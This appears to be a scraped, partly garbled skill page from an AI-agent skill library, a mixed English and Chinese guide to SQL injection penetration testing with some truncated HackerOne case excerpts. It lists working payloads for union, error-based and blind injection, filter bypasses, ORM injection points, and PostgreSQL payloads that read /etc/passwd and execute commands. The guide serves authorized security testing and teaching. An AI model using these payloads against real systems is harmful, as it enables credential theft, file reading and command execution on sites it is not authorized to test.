From vuln-skills
Guides SQL injection penetration testing in web apps with payloads for union-based, blind, error-based, time-based attacks, ORM injections in Django/Rails/SQLAlchemy, bypasses, and checklists.
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当对 Web 应用进行 SQL 注入渗透测试时加载此 Skill。覆盖经典 SQLi、盲注、ORM 注入等攻击手法。
Assesses SQL injection vulnerabilities in web apps via error-based, boolean-blind, and time-based tests using SQLMap, Burp Suite, and manual payloads to validate input sanitization.
Detects and exploits SQL injection vulnerabilities in web apps using sqlmap for authorized pentests, database enumeration, and data extraction.
Identifies and exploits SQL injection vulnerabilities in web apps using manual techniques and sqlmap for MySQL, PostgreSQL, MSSQL, Oracle during authorized pentests.
Share bugs, ideas, or general feedback.
当对 Web 应用进行 SQL 注入渗透测试时加载此 Skill。覆盖经典 SQLi、盲注、ORM 注入等攻击手法。
高风险端点特征：
?search=, ?filter=, ?sort=, ?order= 参数/user/123, /item/abc识别信号：
You have an error in your SQL syntax, PostgreSQL: ERROR: syntax error at or near）' 后响应异常（500 错误、空白页、内容变化）id=2-1 等价于 id=1）手动测试方法：
'、"'、') 观察响应差异' AND '1'='1 vs ' AND '1'='2 对比响应' UNION SELECT NULL,NULL-- 逐步确定列数'; WAITFOR DELAY '0:0:5'--（MSSQL）或 ' AND SLEEP(5)--（MySQL）Payload 构造：
# Union-based（先确定列数）
' ORDER BY 1--
' ORDER BY 2--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username,password,NULL FROM users--
# Error-based（MySQL）
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))--
# Time-blind
' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
# Boolean-blind
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
Bypass 技巧：
/*!50000UNION*/、uNiOn SeLeCt、内联注释 /**/%2527、Unicode 编码/**/、%09、%0a、+SEL/**/ECT、UN/**/IONSecond-order SQLi（二次注入）：
admin'--）ORM 特定注入：
_connector 注入：通过操纵 Q 对象的连接器注入任意 SQLFilteredRelation：测试条件构造中的注入点text() 拼接：检查原始 SQL 片段是否含用户输入.where("name = '#{params[:name]}'")、.order(params[:sort]) 未参数化createQuery("FROM User WHERE name = '" + input + "'") 拼接.literal() 和 $raw 查询中的未转义输入PostgreSQL 特定 Payload：
# Error-based
' AND 1=CAST((SELECT version()) AS int)--
# Time-blind
'; SELECT pg_sleep(5)--
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--
# 文件读取
' UNION SELECT pg_read_file('/etc/passwd',0,1000)--
# 命令执行（需 superuser）
'; COPY cmd_exec FROM PROGRAM 'id';--
' 并观察响应变化（错误信息、状态码、内容差异）AND 1=1 vs AND 1=2）/api/items/1'）是否存在注入SLEEP(5) / pg_sleep(5) / WAITFOR DELAY）LOAD_FILE）或写入文件（INTO OUTFILE）漏洞利用可达到的效果：
' OR '1'='1 绕过登录验证xp_cmdshell、LOAD_FILE/INTO OUTFILE）严重度判断：
以下案例来自 HackerOne 公开披露的真实漏洞报告，展示了该类漏洞在实际目标中的表现形式。
_connector in Q ObjectsA SQL injection vulnerability was discovered in the customerId parameter of the URL path. The vulnerability was demonstrated by adding a quote in the customer...
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